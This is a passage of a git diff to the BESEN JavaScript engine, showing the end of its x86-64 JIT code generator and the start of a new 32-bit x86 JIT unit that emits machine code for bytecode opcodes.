AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopEQNUM:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$66#$41#$0f#$2f#$86); // comisd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopNEQNUM:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$66#$41#$0f#$2f#$86); // comisd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + not eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopLTSTR:begin + AddDispatcher; + end; + bopGTSTR:begin + AddDispatcher; + end; + bopLESTR:begin + AddDispatcher; + end; + bopGESTR:begin + AddDispatcher; + end; + bopEQSTR:begin + AddDispatcher; + end; + bopNEQSTR:begin + AddDispatcher; + end; + bopSHLBOOL:begin + AddDispatcher; + end; + bopSHRBOOL:begin + AddDispatcher; + end; + bopBANDBOOL:begin + AddDispatcher; + end; + bopBXORBOOL:begin + AddDispatcher; + end; + bopBORBOOL:begin + AddDispatcher; + end; + bopSHLNUM:begin + AddDispatcher; + end; + bopSHRNUM:begin + AddDispatcher; + end; + bopUSHRNUM:begin + AddDispatcher; + end; + bopBANDNUM:begin + AddDispatcher; + end; + bopBXORNUM:begin + AddDispatcher; + end; + bopBORNUM:begin + AddDispatcher; + end; + bopSETCUNDEF:begin + asm + jmp @Skip + @CodeBegin: + lea rax,qword ptr [r12+TBESENCodeContext.ResultValue] + mov dword ptr [rax+TBESENValue.ValueType],bvtUNDEFINED + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopSETCNULL:begin + asm + jmp @Skip + @CodeBegin: + lea rax,qword ptr [r12+TBESENCodeContext.ResultValue] + mov dword ptr [rax+TBESENValue.ValueType],bvtNULL + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopSETCBOOL:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + lea rdx,qword ptr [r12+TBESENCodeContext.ResultValue] + mov dword ptr [rdx+TBESENValue.ValueType],bvtBOOLEAN + mov ecx,dword ptr [rax+TBESENValue.Bool] + mov dword ptr [rdx+TBESENValue.Bool],ecx + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopSETCNUM:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + lea rdx,qword ptr [r12+TBESENCodeContext.ResultValue] + mov dword ptr [rdx+TBESENValue.ValueType],bvtNUMBER + movsd xmm0,qword ptr [rax+TBESENValue.Num] + movsd qword ptr [rdx+TBESENValue.Num],xmm0 + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopSETCSTR:begin + AddDispatcher; + end; + bopSETCOBJ:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + lea rdx,qword ptr [r12+TBESENCodeContext.ResultValue] + mov dword ptr [rdx+TBESENValue.ValueType],bvtOBJECT + mov rcx,qword ptr [rax+TBESENValue.Obj] + mov qword ptr [rdx+TBESENValue.Obj],rcx + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopTRACENEW:begin + AddDispatcher; + end; + bopTRACECALL:begin + AddDispatcher; + end; + bopLTNUMCONST:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$48#$b8); // mov rax,offset Num + AddPtr(@Code.Literals[Operands^[2]].Num); + + Add(#$66#$0f#$2f#$00); // comisd xmm0,qword ptr [rax] + + asm + jmp @Skip + @CodeBegin: + setb al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopGTNUMCONST:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$48#$b8); // mov rax,offset Num + AddPtr(@Code.Literals[Operands^[2]].Num); + + Add(#$66#$0f#$2f#$00); // comisd xmm0,qword ptr [rax] + + asm + jmp @Skip + @CodeBegin: + setnbe al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopLENUMCONST:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$48#$b8); // mov rax,offset Num + AddPtr(@Code.Literals[Operands^[2]].Num); + + Add(#$66#$0f#$2f#$00); // comisd xmm0,qword ptr [rax] + + asm + jmp @Skip + @CodeBegin: + setbe al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopGENUMCONST:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$48#$b8); // mov rax,offset Num + AddPtr(@Code.Literals[Operands^[2]].Num); + + Add(#$66#$0f#$2f#$00); // comisd xmm0,qword ptr [rax] + + asm + jmp @Skip + @CodeBegin: + setnb al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopEQNUMCONST:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$48#$b8); // mov rax,offset Num + AddPtr(@Code.Literals[Operands^[2]].Num); + + Add(#$66#$0f#$2f#$00); // comisd xmm0,qword ptr [rax] + + asm + jmp @Skip + @CodeBegin: + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopNEQNUMCONST:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$48#$b8); // mov rax,offset Num + AddPtr(@Code.Literals[Operands^[2]].Num); + + Add(#$66#$0f#$2f#$00); // comisd xmm0,qword ptr [rax] + + asm + jmp @Skip + @CodeBegin: + setz al + setnp cl + and al,cl + neg al + sbb eax,eax + not eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + else begin + AddDispatcher; + end; + end; + + end; + RetOfs:=CodeBufferLen; + Add(#$c3); // ret + SetLength(CodeBuffer,CodeBufferLen); + Code.NativeCodeSize:=CodeBufferLen; + Code.NativeCode:=TBESEN(CodeContext.Instance).NativeCodeMemoryManager.GetMemory(Code.NativeCodeSize); + move(CodeBuffer[0],Code.NativeCode^,Code.NativeCodeSize); + SetLength(Code.NativeCodePCOffsets,Code.ByteCodeLen); + for i:=0 to Code.ByteCodeLen-1 do begin + Code.NativeCodePCOffsets[i]:=pointer(@PBESENByteArray(Code.NativeCode)[Offsets[i]]); + end; + for i:=0 to CountFixups-1 do begin + case FixUps[i].Kind of + fkPTR:begin + longword(pointer(@PBESENByteArray(Code.NativeCode)[FixUps[i].Ofs])^):=(ptruint(FixUps[i].Dest)-(ptruint(pointer(@PBESENByteArray(Code.NativeCode)[FixUps[i].Ofs]))+4)); + end; + fkRET:begin + longword(pointer(@PBESENByteArray(Code.NativeCode)[FixUps[i].Ofs])^):=(ptruint(pointer(@PBESENByteArray(Code.NativeCode)[RetOfs]))-(ptruint(pointer(@PBESENByteArray(Code.NativeCode)[FixUps[i].Ofs]))+4)); + end; + fkOFS:begin + longword(pointer(@PBESENByteArray(Code.NativeCode)[FixUps[i].Ofs])^):=(ptruint(Code.NativeCodePCOffsets[FixUps[i].ToOfs])-(ptruint(pointer(@PBESENByteArray(Code.NativeCode)[FixUps[i].Ofs]))+4)); + end; + end; + end; + result:=true; + finally + SetLength(Fixups,0); + SetLength(Offsets,0); + SetLength(CodeBuffer,0); + end; +end; + +function BESENExecuteNativeCode(ACodeContext:TObject):TBESENBoolean; {$ifdef UseRegister}register;{$endif} +var CodeContext:TBESENCodeContext; +begin + CodeContext:=TBESENCodeContext(ACodeContext); + CodeContext.BlockRunning:=true; + asm + push rax + push rbx + mov r12,qword ptr CodeContext + mov rbx,qword ptr [r12+TBESENCodeContext.Instance] + mov r13,qword ptr [r12+TBESENCodeContext.Code] + mov rax,qword ptr [r13+TBESENCode.Body] + mov r13,qword ptr [r13+TBESENCode.NativeCodePCOffsets] + mov r14,qword ptr [r12+TBESENCodeContext.RegisterValues] + xor r15,r15 + mov eax,dword ptr [rax+TBESENASTNodeFunctionBody.IsFunction] + test eax,eax + jz @IsNoFunction + mov r15,qword ptr [r12+TBESENCodeContext.Context] + mov r15,qword ptr [r15+TBESENContext.VariableEnvironment] + mov r15,qword ptr [r15+TBESENLexicalEnvironment.EnvironmentRecord] + mov r15,qword ptr [r15+TBESENDeclarativeEnvironmentRecord.HashValues] + @IsNoFunction: + xor rax,rax + mov eax,dword ptr [r12+TBESENCodeContext.PC] + call qword ptr [r13+rax*8] + pop rbx + pop rax + end ['rax','rbx','r12','r13','r14','r15']; + result:=CodeContext.BlockRunning; +end; +{$endif} +{$endif} + +end. diff --git a/Core/JS/BESENCodeJITx86.pas b/Core/JS/BESENCodeJITx86.pas new file mode 100644 index 0000000..08c2a5f --- /dev/null +++ b/Core/JS/BESENCodeJITx86.pas @@ -0,0 +1,2552 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENCodeJITx86; +{$i BESEN.inc} + +interface + +uses {$ifdef windows}Windows,MMSystem,{$endif}{$ifdef unix}dl,BaseUnix,Unix, + UnixType,{$endif}BESENConstants,BESENTypes; + +{$ifdef HasJIT} +{$ifdef cpu386} +function BESENGenerateNativeCode(ACodeContext:TObject):TBESENBoolean; +function BESENExecuteNativeCode(ACodeContext:TObject):TBESENBoolean; {$ifdef UseRegister}register;{$endif} +{$endif} +{$endif} + +implementation + +{ + +Register layout: + + esi = Offset to code context + edi = Offset to virtual VM registers + ebp = Offset to byte code <-> native code offset mapping map array + others = for various temporary usage + +} + +{$ifdef HasJIT} +{$ifdef cpu386} +uses BESEN,BESENValue,BESENASTNodes,BESENCode,BESENCodeContext,BESENContext,BESENOpcodes, + BESENGarbageCollector,BESENNumberUtils,BESENLexicalEnvironment, + BESENDeclarativeEnvironmentRecord,BESENNativeCodeMemoryManager, + BESENObject,BESENObjectEnvironmentRecord; + +function BESENGenerateNativeCode(ACodeContext:TObject):TBESENBoolean; +const sizeofTBESENValue=sizeof(TBESENValue); +type TFixupKind=(fkPTR,fkRET,fkOFS); + TFixup=record + Kind:TFixupKind; + Ofs:integer; + Dest:pointer; + ToOfs:integer; + end; + TFixups=array of TFixup; +var Fixups:TFixups; + CountFixups,i:integer; + Offsets:array of longword; + Opcode:byte; + Instruction:TBESENUINT32; + CodeBuffer:TBESENBytes; + CodeBufferLen,OldCodeBufferLen:integer; + CurrentPC,Temp,RetOfs,Literal:longword; + CodeBegin,CodeEnd:pointer; + CodeVars:array[0..8] of pointer; + ByteCode:PBESENUINT32Array; + Operands:PBESENINT32Array; + Code:TBESENCode; + CodeContext:TBESENCodeContext; + v:TBESENValue; + procedure Add(const s:TBESENANSISTRING); + begin + if length(s)>0 then begin + if (CodeBufferLen+length(s))>=length(CodeBuffer) then begin + SetLength(CodeBuffer,(CodeBufferLen+length(s)+4096) and not 4095); + end; + move(s[1],CodeBuffer[CodeBufferLen],length(s)); + inc(CodeBufferLen,length(s)); + end; + end; + procedure AddCode(CodeBegin,CodeEnd:pointer); + var CodeLen:ptrint; +{$ifdef windows} + OldProtect,OldProtectDummy:longword; + OK:boolean; +{$endif} + begin + CodeLen:=ptrint(ptruint(CodeEnd)-ptruint(CodeBegin)); + if CodeLen>0 then begin +{$ifdef windows} + OK:=VirtualProtect(CodeBegin,CodeLen,PAGE_EXECUTE_READWRITE,OldProtect); +{$endif} +{$ifdef unix} + fpmprotect(CodeBegin,CodeLen,PROT_READ or PROT_WRITE or PROT_EXEC); +{$endif} + if (CodeBufferLen+CodeLen)>=length(CodeBuffer) then begin + SetLength(CodeBuffer,(CodeBufferLen+CodeLen+4096) and not 4095); + end; + move(CodeBegin^,CodeBuffer[CodeBufferLen],CodeLen); + inc(CodeBufferLen,CodeLen); +{$ifdef windows} + if OK then begin + VirtualProtect(CodeBegin,CodeLen,OldProtect,OldProtectDummy); + end; +{$endif} + end; + end; + procedure AddDWord(const v:longword); + begin + if (CodeBufferLen+sizeof(longword))>=length(CodeBuffer) then begin + SetLength(CodeBuffer,(CodeBufferLen+sizeof(longword)+4096) and not 4095); + end; + move(v,CodeBuffer[CodeBufferLen],sizeof(longword)); + inc(CodeBufferLen,sizeof(longword)); + end; + procedure AddDispatcherPointer; + begin + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkPTR; + Fixups[CountFixups].Ofs:=CodeBufferLen-4; + Fixups[CountFixups].Dest:=BESENCodeContextOpcodes[Opcode]; + inc(CountFixups); + end; + procedure AddDispatcher; + var Temp:longword; + CodeBegin,CodeEnd:pointer; + begin + Add(#$89#$f0); // mov eax,esi + + case Opcode of + bopEND,bopJZ,bopJNZ,bopJNULL,bopLOOPENUM,bopTRACE,bopJZERO,bopJNZERO:begin + Add(#$c7#$80); // mov dword ptr [eax+TBESENCodeContext.PC],CurrentPC + asm + mov dword ptr Temp,offset TBESENCodeContext.PC + end; + AddDWord(Temp); + AddDWord(CurrentPC); + end; + end; + + Add(#$ba); // mov edx,Operands + AddDWord(ptruint(Operands)); + + Add(#$e8); // call OpcodeDispatcher + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkPTR; + Fixups[CountFixups].Ofs:=CodeBufferLen; + Fixups[CountFixups].Dest:=BESENCodeContextOpcodes[Opcode]; + inc(CountFixups); + Add(#$00#$00#$00#$00); + + case Opcode of + bopEND,bopTRACE,bopENDF:begin + if (Opcode<>bopEND) or (Operands^[0]=0) then begin + asm + jmp @Skip + @CodeBegin: + cmp dword ptr [esi+TBESENCodeContext.BlockRunning],0 + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + + Add(#$0f#$84); // jz RET + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkRET; + Fixups[CountFixups].Ofs:=CodeBufferLen; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + end; + end; + + case Opcode of + bopEND,bopENDF,bopJMP,bopJZ,bopJNZ,bopJNULL,bopLOOPENUM,bopJZERO,bopJNZERO:begin + asm + jmp @Skip + @CodeBegin: +// mov ebp,dword ptr [esi+TBESENCodeContext.Code] +// mov ebp,dword ptr [ebp+TBESENCode.NativeCodePCOffsets] + mov edx,dword ptr [esi+TBESENCodeContext.PC] + jmp dword ptr [ebp+edx*4] + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + end; + end; + + end; +begin + result:=false; + try + CodeContext:=TBESENCodeContext(ACodeContext); + Code:=TBESENCode(CodeContext.Code); + if assigned(Code.NativeCode) then begin + TBESEN(CodeContext.Instance).NativeCodeMemoryManager.FreeMemory(Code.NativeCode); + Code.NativeCode:=nil; + Code.NativeCodeSize:=0; + end; + CodeBuffer:=nil; + CodeBufferLen:=0; + CurrentPC:=0; + Fixups:=nil; + CountFixups:=0; + Offsets:=nil; + ByteCode:=@Code.ByteCode[0]; + SetLength(Offsets,Code.ByteCodeLen); + while CurrentPC<TBESENUINT32(Code.ByteCodeLen) do begin + Offsets[CurrentPC]:=CodeBufferLen; + Instruction:=ByteCode^[CurrentPC]; + Operands:=@ByteCode^[CurrentPC+1]; + inc(CurrentPC,1+(Instruction shr 8)); + Opcode:=Instruction and $ff; + + case Opcode of + bopSTOP:begin + asm + jmp @Skip + @CodeBegin: + mov dword ptr [esi+TBESENCodeContext.BlockRunning],0 + mov dword ptr [esi+TBESENCodeContext.Running],0 + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + + Add(#$e9); // jmp to code end + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkRET; + Fixups[CountFixups].Ofs:=CodeBufferLen; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + bopNEW:begin + AddDispatcher; + end; + bopCALL:begin + AddDispatcher; + end; + bopEND:begin + if (Code.MaxBlock=0) and (Operands^[0]=0) then begin + asm + jmp @Skip + @CodeBegin: + mov dword ptr [esi+TBESENCodeContext.BlockRunning],0 + mov dword ptr [esi+TBESENCodeContext.Running],0 + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + end; + AddCode(CodeBegin,CodeEnd); + + Add(#$e9); // jmp to code end + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkRET; + Fixups[CountFixups].Ofs:=CodeBufferLen; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end else begin + AddDispatcher; + end; + end; + bopVREF:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$ba); // mov edx,Operands + AddDWord(ptruint(Operands)); + + // Monomorphic precheck before the polymorphic/megamorphic checks in the opcode handler itself + asm + jmp @Skip + @CodeBegin: + mov ecx,dword ptr [edx+4*4] + test ecx,ecx + js @DoDispatcher + mov eax,dword ptr [esi+TBESENCodeContext.Context] + mov eax,dword ptr [eax+TBESENContext.VariableEnvironment] + mov ecx,dword ptr [eax+TBESENLexicalEnvironment.EnvironmentRecord] + cmp dword ptr [ecx+TBESENObjectEnvironmentRecord.RecordType],0 + jz @DoDispatcher + mov eax,dword ptr [ecx+TBESENObjectEnvironmentRecord.BindingObject] + mov eax,dword ptr [eax+TBESENObject.StructureID] + cmp eax,dword ptr [edx+4*4] + jnz @DoDispatcher + + @CodeVars6: + mov dword ptr [edi+$1337c0de],brbvtENVREC + + @CodeVars0: + mov dword ptr [edi+$1337c0de],ecx + + @CodeVars5: + mov dword ptr [edi+$1337c0de],bvtREFERENCE + + mov eax,dword ptr [edx+5*4] + @CodeVars2: + mov dword ptr [edi+$1337c0de],eax + + mov eax,dword ptr [edx+2*4] + @CodeVars1: + mov dword ptr [edi+$1337c0de],eax + + mov eax,dword ptr [edx+6*4] + @CodeVars3: + mov dword ptr [edi+$1337c0de],eax + + mov eax,dword ptr [edx+7*4] + @CodeVars4: + mov dword ptr [edi+$1337c0de],eax + + jmp @SkipDispatcher + @DoDispatcher: + mov eax,esi + db $e8; dd $00; // call OpcodeDispatcher + @SkipDispatcher: + @CodeEnd: + @Skip: + mov dword ptr CodeBegin,offset @CodeBegin + mov dword ptr CodeEnd,offset @CodeEnd + mov dword ptr [CodeVars+0*4],offset @CodeVars0+2 + mov dword ptr [CodeVars+1*4],offset @CodeVars1+2 + mov dword ptr [CodeVars+2*4],offset @CodeVars2+2 + mov dword ptr [CodeVars+3*4],offset @CodeVars3+2 + mov dword ptr [CodeVars+4*4],offset @CodeVars4+2 + mov dword ptr [CodeVars+5*4],offset @CodeVars5+2 + mov dword ptr [CodeVars+6*4],offset @CodeVars6+2 + end; + OldCodeBufferLen:=CodeBufferLen; + AddCode(CodeBegin,CodeEnd); + AddDispatcherPointer; + PBESENUINT32(@CodeBuffer[ptruint(OldCodeBufferLen)+ptruint(ptruint(CodeVars[0])-ptruint(CodeBegin))])^:=ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceBase.EnvRec))-ptruint(pointer(@v))); + 